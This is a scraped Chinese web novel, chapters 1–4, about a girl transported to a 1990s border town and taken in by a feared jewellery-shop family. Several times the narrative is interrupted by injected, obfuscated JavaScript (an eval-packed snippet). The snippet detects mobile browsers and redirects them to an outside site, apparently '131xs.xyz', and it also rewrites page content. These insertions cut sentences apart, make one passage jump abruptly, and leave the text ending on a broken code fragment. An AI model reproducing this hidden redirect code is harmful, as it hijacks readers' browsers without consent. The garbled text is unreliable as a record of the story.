《做边陲“恶霸们”的团宠[九零]》 1. 第 1 章 毗邻华国西南边境的宁蓝国只是弹丸之地。 没有强大的国力,是滋生罪恶的摇篮。 龙星岗与华国西南省长峡市相接,徒步可至,发展却是天差地别。 在长峡市建起一座座高楼大厦时,龙星岗还只能守着破烂摊子过日子。 龙星岗市20世纪初便建了如今的圣约翰教堂,尖塔和彩色玻璃窗是其特点,但60年起,教堂关闭,如今24年过去,依旧没有公开活动。 绕过圣约翰教堂便是平乡街,在1992年的今天,藏身教堂后方的平乡街依旧是龙星岗市最瞩目的存在。 平乡街两侧皆是两层小楼,一楼开铺子,二楼自住,家家户户都是如此。 有商店、有隔壁华国的特产店,最多的是玉石珠宝店。 宁蓝国的翡翠毛料多经长峡市进入华国,92年年初长峡市放开珠宝市场,允许个体工商户经营,宁蓝国得知此消息跃跃欲试,玉石店越开越多。 此刻不到七点,阳光撕开黑夜的帷幕,湛蓝的天上镶嵌大朵大朵的白云,云层低矮,仿佛唾手可得。 修车铺子的张家正在吃早餐,老张家一家三口都是华国人,早餐喜欢吃西南的米线,张敏敏正往米线里挤小青柠汁。 张母说的是当地方言,她一边盛米线,一边嘀嘀咕咕说道:“你爸这修车铺,生意越来越差,我早就跟他说去学学修摩托车,他偏要守着自行车,修自行车能赚几个钱?以后大家都买摩托车了!” 张敏敏囫囵吞枣狂喝米线,没搭理母亲。 张母还在念叨,“我的命就是不如惠海铭的命好!她怎么就事事顺心?自己没什么本事,领着一堆有本事的小的,以前她是什么身份?黑户啊!现在好了,也开始卖玉了,赚了钱还洗白了!” 张父低声道:“这话你还敢念叨,让他们听见,你还有好日子过?” 宁蓝国的警署实力一般,平乡街乱了几十年。 其他街道的邻居抬头不见低头见,平乡街的邻居是真不敢看彼此,没犯事的怕挨揍,犯事的怕被认出来。 但不论是谁,都会惠海铭一家人恭恭敬敬,没人敢招惹。 张母吼道:“我在家里唠叨唠叨还不行?!” 张父不敢说话,埋头吃米线。 张敏敏吃饱了,抬头说:“惠姨领着三个小的,又不是亲生的,你好歹还有个亲女儿呢!” 惠海铭没嫁人,没有孩子。 和她生活在一起的几人都没有血缘关系。 张母看着还算可爱的女儿,语气变了,“也对,她说想要女儿,但连男人都找不到,我好歹还有老公孩子。” 正欣慰,一楼店铺门口闹了起来。 隔壁铺子门口围了很多人,老张家一家三口端着米线去看热闹。 “这孩子看着有十三四岁了,昨晚就蹲在这里,从来都没见过,谁家的?” “就蹲在惠姐家门口,肯定是找他们的。” “惠姐的女儿?” “应该是,总不能是苏老板的女儿吧?” 张家人来晚了,在最外层,吃不上瓜,但张母能看到玉石店的招牌。 这家店叫“玉见”,华国汉字,汉字下还有一小排宁蓝国语。 整得怪文艺,好像真能从原石里开出玉来,张母吐槽过好几次。 店是苏蓝移张罗起来的,苏蓝移今年29岁,比惠海铭小十来岁,两人姐弟相称。 说起苏蓝移,在平乡街可是大名鼎鼎。 他做得最出名的事就是,19岁那年被两个流窜到龙星岗的杀人犯盯上,两人想对他下手,结果被反杀。 真真正正的反杀,杀人犯一死一伤,苏蓝移毫发无损,被带到警署调查许久,最后完完整整地送了回来。 从此以后大家都知道,这位手上真有血,不能惹,小毛贼到平乡街必定绕路走。 警方的说法,苏蓝移是自卫,但没人信。 能在平乡街混得风生水起的人,能是什么善人?估计是花钱了。 玉石店二楼,苏蓝移刚吃完早餐。 玉石店十点开门,家里其他人还在睡着,他习惯早起。 他早就听到动静,但毫无兴趣,直到发现家里的盐不够用了,才准备出门买,对面的商店早早就开门营业。 窗帘拉着,玉石店黑漆漆的。 苏蓝移走到门前,木头门上的玻璃摇摇晃晃,他先打开门,再把卷帘门往上推。 阳光涌进来的同时,苏蓝移看到门口乌泱泱黑瘦的人。 两国交界之处,人口较杂,有从华国跑来定居二十多年的,也有真正的当地人,汉语和当地的语言都能说几句。 看到苏蓝移,吵吵闹闹的人瞬间噤若寒蝉。 苏蓝移将卷帘门完全推上去,环视众人。 他顶着凶狠的名声,容貌却很精致,人也年轻。留着不算时髦的短发,但颜值撑得住,眉目舒朗,侧颜如玉。 有人壮着胆子出声,“小妹,你是来找他的?” 人群中的“小矮子”直勾勾地盯着苏蓝移。 那人又说:“他是谁?你爸?你说实话!” 这年龄,也就是父女了。 张母的心沸腾了! 隔壁这户人家名声太响、生意太好,和她家比对鲜明。 本以为要被压一辈子,没想到苏蓝移居然闹了个孩子出来! 孩子不重要,重要的是年纪。 听他们说,女孩有13、4岁。 苏蓝移29,也就是说他15岁就搞出了孩子。 八卦,大八卦! 苏蓝移蹙起浓眉,正欲呵斥,那“小矮子”却用力点头。 这回人群真的沸腾了! “真是女儿?嚯,苏老板藏得挺深。” “十来岁就……不过我村里,十来岁摆酒的还真不少。” 苏蓝移:“……” 桑白玉被人推搡着往苏蓝移面前走。 她穿着奇怪的蓝白色运动服,背着蓝色的书包,两手抱着包子,边走边啃。 大人们吃瓜吃得激动,她倒是淡定,也不怕苏蓝移,往他跟前走时,还有心情张望。 她一露脸,围着的人都拼命地看过去,尤其是张母。 苏蓝移闹出孩子来啦!惠海铭知道后会是什么反应? 这辈分怎么论? 啧啧。 张母终于看到传说中的“私生女”,刚看了一眼就愣住。 私生女的小脸只有巴掌大,双眸清澈莹润,鼻尖小巧,皮肤白如初雪。她乖巧地捧着包子,阳光萦绕,细碎的光芒落在她身上,灿如春华,皎如秋月。 “这……和敏敏差不多大。” 张母回头看女儿。 差不多的年纪,模样怎么差得这么多? 其他人终于看到“认爹”的桑白玉。 最初他们还在幸灾乐祸地看戏,现在都讨论起桑白玉的长相。 水灵灵的一张脸,漂亮得太出众,以至于他们忘记吃瓜。 张母忍不住嘀咕道:“找过来不容易吧?长得这么好看,肯定有坏人盯着。” 张敏敏:“……” 她幸灾乐祸的妈呢? 张敏敏踮起脚想看看这人到底长啥样,但人墙太高,她太矮。 张敏敏拽了拽亲妈的衣袖。 张母还在感慨,“肯定吃了不少苦,可怜的孩子。” 张敏敏:“……” 她幸灾乐祸的妈呢! 有人笑呵呵地对苏蓝移说:“你女儿长得真好看,你有福哦!” 其余人纷纷附和。 没人注意到苏蓝移脸色极差。 平时他若挂着脸,这些人一定会离他远远的,但今天他们的注意力被桑白玉吸引,没人关心苏蓝移的情绪。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834906|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女孩怎么可能是他女儿?!明明是他昨晚偶遇女孩,好心把她送到派出所,结果她今天就跑来“认爹”?! 惠海铭终于被吵闹声吵醒,她披着外套下楼。 听到邻居们的议论,惠海铭沉着脸走向苏蓝移。 她了解苏蓝移,苏蓝移不可能做出如此荒唐之事,他们有共同的目标,娶妻生子不在他的规划中。 不是女儿,那就是无关的人,是敌人派来的? 不论是谁,来者不善,都得赶走。 惠海铭正要张口,就瞧见乖巧收拾书包的桑白玉。 桑白玉吃完包子,没找到垃圾箱,正把塑料袋收到书包里。 她书包里应该有她的课本,现在莫名其妙全消失了,她也不觉得奇怪,毕竟她出现在九十年代的小城就很奇怪了。 桑白玉抬头看惠海铭。 她说华国的普通话,声音好听又乖巧,“阿姨好。” 惠海铭:“……蓝移,这是谁?” 苏蓝移冷漠道:“不认识,姐,不用管,赶走。” 他了解惠海铭,惠海铭眼里容不得沙子,桑白玉再闹,她的下场会很惨。 惠海铭沉默良久,说:“长得还怪好看的。” 苏蓝移:“……” 他阴险的大姐呢? 事情以桑白玉被带进玉石店结尾。 散去的邻居们还在议论,“这孩子模样比画报上的孩子还好看,有福气!” 桑白玉抱着书包坐好,大大方方地观察玉石店。 她今年13岁,念初中。 父母离异,母亲独自出国,十年未见过,父亲再娶,有了新的妻子新的孩子,对她不太在意。 外人面前,桑白玉一直是乖乖女的形象。 穿到九十年代的龙星岗之前,桑白玉刚把语文老师踹飞,正要烧他的教案。 语文老师不太地道,在班里转着圈的收礼,谁调皮就去谁家做客,得奖的教案还是抄袭同办公室的老师的。 桑白玉家里没送过礼,语文老师看她不爽,经常挤兑。 当然,桑白玉看他更不爽。 她莫名其妙来到这里,还穿着学校的校服。 最可惜的事就是,报复行动才刚起了个头。 惠海铭递给桑白玉喝水用的搪瓷杯,杯身上印着两个努力学习的胖娃娃。 她是华国人,保留着华国的生活习惯。 她问:“你是蓝移的孩子?” 苏蓝移:“姐?” 惠海铭犹豫道:“小姑娘看着不像是会撒谎的。” 苏蓝移:“……” 合着他像在撒谎? 多年的信任就这样崩塌了。 惠海铭问完,就见桑白玉惊讶地看过来。 惠海铭说:“如果真是,我们不会不管你。” 苏蓝移脸色涨红,抗议道:“姐!这是我昨天捡到的孩子,已经送去派出所了。” 听到“派出所”三个字,惠海铭无比嫌弃,“那帮饭桶。” 苏蓝移:“重点是,我和她毫无关系。” 小女孩长得是挺好看,但也不至于让惠海铭从此不相信弟弟了吧? 对弟弟无比信任的惠海铭说:“还是听听她怎么说。” 苏蓝移:“……” 惠海铭摸摸桑白玉的头,这么可爱的孩子怎么会说谎呢? 小孩子不会说谎的。 桑白玉点头,“我好像是不认识他。” 但是小孩子会胡说八道。 苏蓝移从未想过自己会被一个孩子搞得崩溃,“你刚才怎么不否认?!” 现在整条街的人都知道他苏蓝移有孩子了,还是15岁那年生的! 桑白玉顶着一张乖巧的脸,理直气壮道:“没人提过啊!” 那些人说的方言,她一句都听不懂啊! 她只能听懂苏蓝移说的话啊! 2. 第 2 章 桑白玉是正经华国人,从小只学普通话。 穿越对她来说只是小说中的内容,不可能发生。 穿到龙星岗后,她持续震惊了一整晚,甚至没注意到街边店铺的招牌其实是异国字。 在龙星岗生活的华国人很多,宁蓝国语言属于汉藏语系,按理说桑白玉理解起来不会很费劲,但当地人说话都带口音。 北方人桑白玉不太能听懂。 她接触过的人中,只有苏蓝移说普通话,因此她只能跟着他。 可问题是,龙星岗市的边防派出所离平乡街有一定的距离,宁蓝国的派出所也没华国那么多,苏蓝移先走一步,桑白玉怎么可能找过来? 惠海铭认真打量桑白玉片刻,得出结论——柔软可爱的女孩子是不会说谎的。 惠海铭质疑苏蓝移,“你偷偷带回来的吧?” 苏蓝移:“……” 苏蓝移明白了,就算桑白玉说她是仙女下凡、天上掉下来的林妹妹,惠海铭也会相信。 好在桑白玉能听懂惠海铭的话,她乖巧道:“我是闻到叔叔的味道,跟着过来的。” 苏蓝移:“等等……” 桑白玉说:“我没撒谎,叔叔的味道很明显,不是不好的气味,就是能闻到,我对气味变得敏感了。” 来到龙星岗市后,桑白玉发现她能精准分辨出每个人的气味,可能是穿越大礼包。 苏蓝移冷若冰霜。 桑白玉见他不相信,试图解释。 苏蓝移冷笑,“叔叔?叫我?” 惠海铭:“……” 孩子到了介意年龄的时候了。 桑白玉的大眼睛眨了好几下,说:“是叔叔呀。” 苏蓝移:“……” 心如死灰。 难怪他们都敢猜这是他女儿! 桑白玉身上有很多解释不通的疑点。 惠海铭一个华国人,在宁蓝国生活二十多年,不是没有理由的,于情于理都不该留下桑白玉。 但她让桑白玉去洗漱,还要给她准备早餐,正宗的宁蓝国风味早餐。 厨房,苏蓝移压低声音说:“还没和红英、小满商量,留下来不妥。” 惠海铭正在烙饼,还要准备糯米饭。 玉石店赚了不少钱,宁蓝国这边也没粮票限制,主食管够。 惠海铭说:“你没听她说吗?她是靠气味找到你的。” “应该是跟踪过来的,我身上没有特殊味道。”苏蓝移已经去淋浴间闻了自己一百八十遍。 惠海铭笑道:“她说的气味,和你理解的气味应该不同。” 苏蓝移紧张起来,“我记得宁蓝国的特别行动处有一个对味道特别敏感的人,和他有关?” “不清楚,眼下的情况,留在身边才最稳妥,就算是敌人,也方便控制。而且……” 惠海铭歪头看向坐在沙发上看电视的桑白玉。 市里刚组织安装了一批电视机天线,龙星岗市与华国的长峡市挨着,换到其他国家其实可以说是一个城市,只不过现在有国界线拦着。 持有边民证可在两方规定范围内自由行动,惠海铭家的电视,就能收到长峡市的节目。 桑白玉正在看《葫芦小金刚》,又叫《爷爷去哪儿》。 惠海铭母爱泛滥,“你瞧瞧,多可爱啊!” 苏蓝移:“……” * 方小满和宁红英是被惠海铭直接提溜起来的。 宁海英已有25岁,目前在玉石店帮忙。 方小满刚过18岁生日,读高中。 宁蓝国的高中只有两年,方小满已经参加过大学入学考试,但失败了。 惠海铭想让她多读书,逼着她继续学习。 方小满很不满,但不敢不听大姐的话。 她抱着校服哭嚎,“人家怎么就能遇到强制性关闭大学的好事,怎么轮到我就放开了?我不读书,我不识字!” 惠海铭拿起枕头砸向方小满,“快迟到了!” 方小满顾不得换衣服,立刻把枕头放回原位,又把枕巾整整齐齐铺好,然后才放松道:“舒服了。” 惠海铭:“……” 方小满的强迫症程度,将来扫大街不错,也是个出路。 方小满一边哭嚎着生活毫无乐趣,一边被惠海铭赶下楼。 玉石店的柜台前蹲着个小姑娘,小姑娘拿着铅笔,正认认真真地算账。 方小满揉了揉眼睛,跑到桑白玉面前,提溜起她的马尾辫,“哪来的小公主?” 脸蛋白白嫩嫩的,想捏。 方小满从不亏待自己,有这想法,上手就捏,柔嫩的手感让她十分满足,“这脸蛋,吹了就破,手感贼好。” 宁红英慢吞吞走下来,纠正道:“是吹弹可破。” “你懂就行。” 宁红英给自己倒了杯水,同样好奇地打量桑白玉,“她……” 来了来了,又要询问身份了。 桑白玉觉得自己蛮诚实的,一句谎话都没说,可苏蓝移好像不相信她。 上学时老师都夸她乖巧懂事诚实可爱呢! 挨揍的语文老师:是的是的,诚实又可爱。 宁红英说:“她的皮肤看起来真好。” 桑白玉:“……,啊?” 方小满:“她还年轻!到我这年纪就会出油了!” 桑白玉:“……” 她才不会呢! 方小满捏够了,放开桑白玉,“你是谁啊?” 刚好苏蓝移经过,桑白玉的目光追过去。 方小满:“来找我哥?难道你是……” 苏蓝移看过来。 方小满:“你是她女儿?!” 苏蓝移:“……” 惠海铭表扬道:“观察仔细,不错。” “……姐。” 方小满摸着下巴琢磨,“这得多大就生孩子啊?靠,哥,你也太不是人了,你祸害谁了?!” 苏蓝移黑着脸问:“我是这种人?” 方小满看看人畜无害的桑白玉,又看看苏蓝移,说:“是啊。” 宁红英也说:“总不见得是人家非要跟着你过来。” 方小满:“总不能是人家说谎。” 苏蓝移:“……” 有没有一种可能,真是她非要跟过来, 也的确是她误导的?! 惠海铭出来打圆场,“别逗他了,他没这能耐。” 方小满的目光变得微妙,“原来哥你……” 苏蓝移:“……,我上楼了!” 惠海铭将事情经过告知两个妹妹。 “也就是说,她可能是被人贩子拐过来的,不记得家在哪里,无处可去,你打算养着她?” 惠海铭点头。 方小满说:“可这么大的孩子怎么养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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部分做生意的,走得是什么私,大家也都明白。 尤其是龙星岗市,情况更严重。 他们警署力量不足,一直以来只能维持现状。 这一点和对面华国对比鲜明,每一个宁蓝国人都知道,只有进入华国的地界,那才是安全,是不一样的世界。 纳塔觉得自己挺倒霉,这么近的距离,怎么没出生在长峡市? 纳塔叼着烟,懒洋洋道:“谁来都没用。” 烟没点火,他不敢点,怕被阮枫再追五条街。 龙星岗多是土路,跑五条街,吃一嘴灰,不划算。 阮枫扬眉微笑,“听说以前是华国的刑侦队长,很有名气。” 纳塔嘴里的烟掉了。 华国来的? 身穿黑色夹克的男人快步走了进来。 他身材高大健硕,短发,胡须很短,皮肤黝黑。乍一看五官很端正,若仔细看,还能发现他的双眼其实很精致,只不过走了糙汉路线,从未拾掇过自己。 吴元青手里揪着一个瘦猴,是刚抓到的小毛贼。 他把瘦猴推到桌子上,凌厉的目光扫视众人,“各位,还玩着呢?” 3. 第 3 章 桑白玉吃过早餐,抱着书包在玉石店门口等。 苏蓝移本欲走出来打扫店门口,看到桑白玉后迅速避开。 他没法和桑白玉站在一起,只要俩人挨得近些,就会有人指着他们说:“瞧,父女。” 这帮人平日没什么精气神,吃瓜说瞎话时一个比一个激动。 桑白玉歪着脑袋,好奇地看着逃跑的苏蓝移。 她不知自己长得有多招人喜欢,但从小到大,除了她家人,其他大人见了她总忍不住要夸奖几句。 只有苏蓝移不搭理她。 她做错事,惹他不高兴了? 方小满提溜着书包懒懒散散走出来,手里还抓着热腾腾的竹筒粽子。 “小玩具,走,姐姐带你上学。” 张母提着水桶出门倒脏水,“小玩具?是叫白玉?” 方小满笑嘻嘻道:“她长得多像娃娃,我姐不让我叫她娃娃,娃娃就是玩具呗,那就叫玩具。” 张母:“……” 不觉得更难听吗? 张母有些唏嘘。 好好的孩子交到方小满手里,估计是要被带坏,方小满为非作歹第一名,十个字能写错五个。 张母看着桑白玉,越看越喜欢。 张敏敏不高兴地拽了拽母亲的衣角,幽幽道:“妈,你这两天总提桑小玉。” 不仅是她妈,这两日连她爸都提过桑小玉几次。 还有那些平时不太来往的邻居们,路过玉石店时总会驻足观望,小偷小贼也敢讨论,“那孩子真留下了?他家要养?” “说是都要上学了,还能有假?” “唉,我老婆身体不行,我还想领养个孩子,没想到让他们家抢先了……” “你不是想领养男孩?” “胡说,男孩女孩都一样!那小姑娘乖得很,看我一眼,我心都快化了,十个男孩也不换!” 另一个小偷就会笑话他,“有本事你去玉石店里把人抢出来,别说苏老板,就说他那两个妹妹,都能把你揍成花儿!” 两人就会唏嘘着离开,然后另一人再顺便嘲笑其实是他不行,非得把责任推给他老婆。 怎么连邻里关系都变好了?! 桑小玉只是长得稍微可爱一点点嘛! 张母看向女儿,无奈叹气。 张敏敏:“妈!你到底是谁妈?你对外人都比对我好!” “我是看她没爹没妈,一个人漂泊在异国他乡太可怜,你有我有爸爸,可怜吗?” 张敏敏噘着嘴,不接受这个说法。 张母又道:“还有,你刚刚说她叫什么。” “桑小玉啊!” 张母欲言又止。 这傻孩子,连人家叫什么名字都没搞清,还跑来争宠。 张母给张敏敏整理立起来的衣领,叮嘱道:“你俩在一所初中,别给人家找麻烦,要多照顾她。” 张敏敏咧嘴阴森森地笑着,“我可是平乡街最勇敢的小孩儿,她等着吧!” 她背着书包跑远,张母连连摇头。 龙星岗市的教育资源奇差,华国的长峡市已经遍地是小学、初中,龙星岗市还是那么几所,一只手都数得过来。 宁蓝国不稳定,没有精力注重教育,就像方小满说的,前两年大学还是关闭状态。 张敏敏在平乡初中那可是一霸,她是女孩儿,发育早,力气大,和她爸妈可不一样! 方小满骑自行车带桑白玉去上学。 她才刚学自行车,要先左脚踩着脚蹬,右脚在地上加速,向前冲一段,然后再坐上去。 平时自己骑车还好,但再加上桑白玉就有点儿难办了,桑白玉在车上,方小满起不来,桑白玉不在……也不能等车子骑走了再让她跳上去啊? 方小满捣鼓得满头大汗,“再等等啊,马上就好。唉,宁蓝国可不如华国,自行车挺贵的,我们才刚骑上,会骑自行车的人不多。” 虽说实际情况不如方小满说得夸张,但在华国的七十年代,自行车就是三大件之一了,宁蓝国还没普及自行车。 桑白玉看了一会儿,扶住车把,提议道:“小满姐姐,我来带你吧。” 一整个倒反天罡。 “啊?”方小满摆手,“你不行,你太小了,这能骑得稳吗?你就老实坐着,我有数。” “没关系的,”桑白玉扶着自行车把手往前走,“我虽然不常骑车子,但是会骑的。” 她拍拍后座,“姐姐你上来。” 好看的小姑娘追着自己叫姐姐,方小满听得心花怒放。 就算真在自行车上摔了,她也得配合桑白玉完成她的心愿! 方小满先坐上去,“你不下来蹬吗?” 桑白玉摇头,等方小满坐好,借着一股劲儿就稳稳地蹬起来了。 方小满震惊地抱着桑白玉的细腰,“你真会啊!” 桑白玉不太明白这有什么可震惊的,她的同学都会。 桑白玉说:“其实我还会开车呢,我开车的时候,叔叔们才比较震惊。” “你会开骑车?!龙星岗街上都没几辆汽车!!你怎么会开车?!那肯定震惊啊!哎,你有这么多叔叔?” “是啊,”桑白玉说,“穿着警服的叔叔们,在后面追着我跑,他们可震惊了!” 方小满:“……” 这是震惊吗?这是要出人命了吧? 桑白玉道:“不过我知道的,没有驾照不能开车,我那次是逃命,我爸爸把我带到很远的村里,我担心他要把我丢下,才开车跑了的。” “你爸爸怎么会丢下你?” 桑白玉说:“他更喜欢弟弟,我是多余的,那个村子说是奶奶家,是爸爸的老家,他想把我一个人留下来。” 村里连个正经学校都没有,桑白玉不想留下,但爸爸已经在和奶奶讨论每个月的生活费了。 她和奶奶见面次数很少,奶奶不太喜欢她,一直在问弟弟的事。 桑白玉觉得自己留下也没有好日子过,果断开车逃跑。 那一天的山村,五分之四的人都在田里看热闹——哇,村里有车! 接着——要死了,是个孩子在开车! 方小满摸摸桑白玉的头,越想越替她难过,“这么乖的小朋友,他们居然不想养你,不知好歹,你就留下来,我们养你!” 桑白玉笑容越来越甜,“姐姐真好!” 方小满就差在原地直接飘起来。 桑白玉骑车带着方小满,慢慢悠悠离开平乡街。 平乡街大部分人都不敢招惹惠海铭一家人,有的连头都不敢抬,但余光扫到桑白玉,还是忍不住抻头看几眼,然后感慨,“这么小就会照顾人,是真乖哦。” 过了圣约翰教堂就算是离开平乡街,但平乡街外也没好到哪去,龙星岗市到处都破破烂烂的。 方小满说:“等有时间带你去办边民证,就可以回华国,长峡市强多了,那边有卡拉OK,还有舞厅。” 桑白玉却严肃道:“小满姐姐,家附近有很多警察,为什么呀?” “警察?哪有警察?” “有的,早点店有,华国人面孔,应该是队长之类的,好几个人听他的吩咐。那几人有一大半是宁蓝国人,比较瘦、黑,很好分辨的。” 方小满茫然地看着桑白玉。 她也……太厉害了吧? 这都能发现?! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15834908|175627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 平乡中学分初中部和高中部,在同一校园的两栋楼。 方小满先去帮桑白玉办手续,惠海铭已经打过招呼,桑白玉可以直接入学。 惠海铭说了,教育很重要,没有学历的人将来会举步维艰。 方小满选择不信。 不听不听王八念经。 她亲自把桑白玉送到教室门口,故意露脸,用自己邪恶的名声给桑白玉撑腰,就怕有人欺负她。 不过方小满显然多虑了,还不等老师介绍,桑白玉就被小屁孩们围住。 “哇,你的头发好黑好直好顺,是用皂角洗的吗?” “刚转来的吗,好好看哦,放学和我们一起去河边玩儿啊。” “哎,你不是被玉石店收养的那个吗?听说他们会吃人的,可吓人了!你还不如来我家住!” 初中小屁孩儿们七嘴八舌,一点儿都不顾忌。 张敏敏闷闷不乐地坐在桑白玉后两排。 不是,她怎么和她一个班啊! 张敏敏踢了一脚前排的女生,“喂,过来!” 女生不是平乡街的,平时父母都告诉她不要招惹平乡街的孩子,她红着眼眶走过去。 张敏敏凶道:“你把他们拽过来,我有话说。” 女生唯唯诺诺道:“你自己去……” 张敏敏扬拳,“你真啰唆。” 女生只能听话。 大家的注意力都在桑白玉身上,女生叫不来人。 张敏敏气得牙痒痒,一股气从书包里掏出好几包辣条,“从长峡市带回来的——” 零食还是有点儿用处的,好几人都向张敏敏围去。 “敏敏好幸福啊,又去长峡市了。” “我妈答应我带我过去玩儿,但总是不去。” “那边卖的东西比咱们这边多诶。” 张敏敏抱臂挑眉,得意地看着桑白玉。 桑白玉却根本没有搭理她,低头收拾书包。 这几日她一直跟着惠海铭学方言,学宁蓝国的语言,小有成效,但还是不能完全听懂。 想要存活,她必须把语言搞明白,不能含糊。 时间紧任务重。 张敏敏被无视,优越感降了一半,她又踹了女孩一脚,高声说:“我在长峡市有亲戚,想去就去,我自己去都行。你去过长峡市吗?” 这话是问桑白玉的。 大家好奇地看向桑白玉。 桑白玉见其他人都在看自己,好心回答,“没去过。” “嘁,你连长峡市都没去过,土包。” 有人好奇地问道:“可你说的是普通话,你不是从华国来的吗?” 桑白玉如实道:“我是首都的,没去过长峡市。” 方才围着张敏敏的学生迅速向桑白玉靠拢,“你去过首都!!首都什么样?真的有很多高楼大厦吗!” “人家是首都人,不是去过!” “哎,我只在电视上见过首都,听说是大城市,是真的吗?” 没人搭理张敏敏的辣条了。 张敏敏:“……” 有点生气。 平乡中学门口,吴元青和纳塔转了好几圈才找到看门的大爷。 大爷正听收音机,十分惬意。 吴元青喊道:“劳烦问一下,学校有地窖吗?” 大爷奇怪地看着二人,叽里咕噜说了一段话。 纳塔又用宁蓝国话问了一遍,大爷又是叽里咕噜一通。 纳塔翻译道:“探长,他的意思是,咱们龙星岗市地下水位高,地窖很少见。” 吴元青眉头深锁,“的确少见,但……怎么会有人报警,说有尸体在地窖里?” 4. 第 4 章 平乡中学初中部共有六个班级,一个班五十人。 这五十人里,大概有一半来自平乡街,只要是平乡街的学生,老师们都会敬而远之。 老师基本是华人,来自长峡市,那边86年就颁布义务教育法,虽然还未做到真正普及,但比宁蓝国的文盲们强得多。 桑白玉来自平乡街,还是老师们最不敢招惹的那家,按理说大家应该对她敬而远之,但…… “惠海铭从来不到学校开家长会……当然咱们也没办过几次家长会,但她的确不太关心方小满的成绩。” “方小满才让人头疼,班里最壮的男生二百四十斤,她揍起来和玩儿一样,她在教室里咳嗽一声,我都怕她冲到讲台上揍我。” “唉,主要还是那位苏老板比较可怕,那是真杀人……” “你们没听说吗?住在平乡街的都背着人命。” 越讨论越邪乎。 初中老师话锋一转,“话说回来,桑白玉看着可真是乖。” “苏老板把她带回家,估计有其他用处,会不会是看她长得好看,把她养大了一起对付男人?听说他家的生意,和那家人有关。” 几人又开始怜惜桑白玉,沉浸在她乖巧可爱的模样里无法自拔。 诺拉是学校为数不多的宁蓝国人,也是桑白玉的班主任。 她同样喜欢桑白玉,但想到桑白玉的成绩,还是发愁。 “小玉说,她在以前的学校每次考试都是250分。” “……也考到一半了,不错了,咱们的学生,很多都只能考一百五十多分。” 宁蓝国的初中共考五科,满分500. 学生们的成绩都不太好,能考上400的寥寥无几。 诺拉干笑,“她说他的学校满分750,有时还能到900.” “……” 这和宁蓝国的文盲也没什么区别。 一众老师们露出尴尬的笑容,转身去忙自己的事。 小姑娘实在太招人喜欢,如果成绩好,那就太惊喜了。 就算成绩中游也不错,能读完高中,在宁蓝国就是高学历。 但她连总分三分之一都考不上,这就有点儿可惜了。 老师们忙了好一会儿,忽然有人问道:“等等,什么叫每次考试都是250分?” 诺拉:“?” 老师们纷纷抬头,那人问:“总分750,她考250,总分900,她也考250,她怎么能做到每次都考250分?” 华人老师们陷入沉思。 二百五,好像有很深的含义。 …… 她控分啊?? 聊完最近几日人气正旺的桑白玉,诺拉又想起总在学校附近徘徊的警探。 “你们听说了吗?有警探来找地窖,咱们学校没有,我有朋友在警察署工作,听说……” 她压低声音,“听说是有人死了,被丢进地窖里,到现在都没找到。” * 桑白玉喜欢她的新家。 她和方小满挤在一个房间,方小满每天变着花样地玩儿,还总是背着桑白玉摆弄一堆金属,不知是做什么用的。 宁红英性子慢吞吞的,但很友好,经常在桑白玉转身后露出和善的笑容,方小满说她反应慢,于是桑白玉就会多等一会儿,等宁红英笑完了再走。 惠海铭更不用说,性格温柔又不失干练的大家长,对她十分照顾。 总而言之,除了苏蓝移,大家都很友好。 刚穿越的几天,桑白玉还在想办法回去,现在已经不想走了。 家里没人惦记她,说不定都没发现她失踪,还不如留在这里。 起码这里每天早上都能吃到热腾腾的饭。 今天早上轮到方小满做早餐。 她做早餐的日子,大家就只能啃老面包,再涂一层薄薄的果酱,多了没有。 方小满虎视眈眈地盯着桑白玉,“她已经留下来了,她也得做饭做家务!” 惠海铭道:“她还小,你和她比什么?” 方小满:“我十岁时你就让我干活儿了!” 惠海铭惊讶道:“是吗?可她看着比你小多了,还得被照顾嘛。红英,你说呢?” 宁红英慢吞吞道:“我……” 方小满等她说话。 宁红英:“我觉得……” 方小满耐心不足。 宁红英,“我看啊……” 方小满想暴走,“你一定和我一样……” 宁红英快速打断她,“我看玉玉不用干活。” 方小满:“……” 她要告到中央!这帮人只看脸! 苏蓝移最后一个下楼,他已有好几日没和她们一起吃饭。 方小满愤愤不平地拉住他问:“哥!你说玉玉要不要干活!” 苏蓝移看向桑白玉。 桑白玉察觉到苏蓝移不喜欢自己,她得好好表现,于是赶紧立正站好,恭恭敬敬地叫了声—— “爸爸。” 宁红英:“噗。” 苏蓝移的帅脸微绿,匆匆离开。 方小满笑得前俯后仰,“好久没看我哥吃瘪了,你干嘛叫他爸啊,和我们一起叫哥多好。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 